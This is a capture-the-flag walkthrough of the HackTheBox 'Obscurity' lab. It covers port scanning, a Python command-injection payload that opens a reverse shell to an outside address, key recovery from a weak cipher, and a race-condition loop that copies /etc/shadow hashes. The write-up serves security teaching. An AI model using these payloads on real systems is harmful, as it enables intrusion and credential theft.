Learning cybersecurity is an important step towards protecting your data and infrastructure. In this article, we look at a practical case study from HackTheBox, dedicated to the Obscurity machine. You will learn how to find vulnerabilities in the code, exploit OS Command Injection and work with Race Conditions. The article contains a detailed analysis of the Python code, search for vulnerabilities, as well as a description of the steps to gain access to the system and escalate privileges.
The article discusses the exploitation of vulnerabilities in Python code, as well as the execution of a Race Condition attack.
The connection to the lab is via VPN. For security reasons, it is not recommended to use a work computer or host with important data, as the connection is to a private network where experienced information security specialists are located.
This machine has an IP address of 10.10.10.168, which we add to /etc/hosts.
10.10.10.168 obscurity.htb
First, a scan of open ports is performed. To speed up the process, instead of scanning all ports with nmap, masscan is used. The scan covers all TCP and UDP ports via the tun0 interface at a rate of 500 packets per second.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Next, a scan is performed with the -A option to obtain more detailed information about services running on open ports.
nmap -A obscurity.htb -p22,8080
Thus, we have:
Self-written server
Encryption used
Server code in the file SuperSecureServer.py in some unknown directory.
Given the file name, a directory traversal is performed using wfuzz. The parameters passed are a dictionary, a URL, and a response code that should be ignored.
wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
We open and analyze the server. We find a potentially dangerous use of the exec() function.
A few additional lines are added to the code to implement the required functionality.
curl http://127.0.0.1:33333/asd
curl "http://127.0.0.1:33333/asd'"
curl "http://127.0.0.1:33333/asd''"
Thus, we have OS Command injection.
curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
We use the following reverse python shell.
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.15.60",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
Since the required modules are already imported in the server code, their import from the shell is removed. Additionally, quotes and square brackets are escaped for correct operation.
curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Great! Everything works on the local machine. Let’s execute this request on the server.
curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
We have an entry point.
We look around the server and find readable files in the user’s home directory.
We read files.
Thus, the files are encrypted. We download everything that is given to us to the local host. As the message says, the encrypted file is check.txt, and the result is in out.txt. Let’s look at the algorithm.
Encryption is performed by adding the text symbol to the key symbol modulo 255. For decryption, the text and key symbols are subtracted.
It looks like this:
([check.txt]+[key])mod 255=out.txt([check.txt] + [key]) \mod 255 = out.txt
([out.txt]−[key])mod 255=check.txt([out.txt] – [key]) \mod 255 = check.txt.
Thus, the key can be calculated using the formula:
([out.txt]−[check.txt])mod 255=key([out.txt] – [check.txt]) \mod 255 = key.
And let’s look at the key.
And now we decrypt the user’s password using this key.
With this password, we connect to SSH and remove the user flag.
Let’s look at the sudo settings, namely whether the user robert can execute any commands under sudo without a password.
The code requests authentication data to perform operations. After entering the data, the contents of the /etc/shadow file are copied to the /tmp/SSH/* directory. The authentication data is then verified, and upon successful verification, the file is removed from the /tmp/SSH directory.
So we need to copy the file from /tmp/SSH/* before it gets deleted. Let’s start a second terminal and do an infinite read loop in it.
for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Now we run the program, enter any data and see the hashes.
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
And they break easily.
The result is a flag of ruta.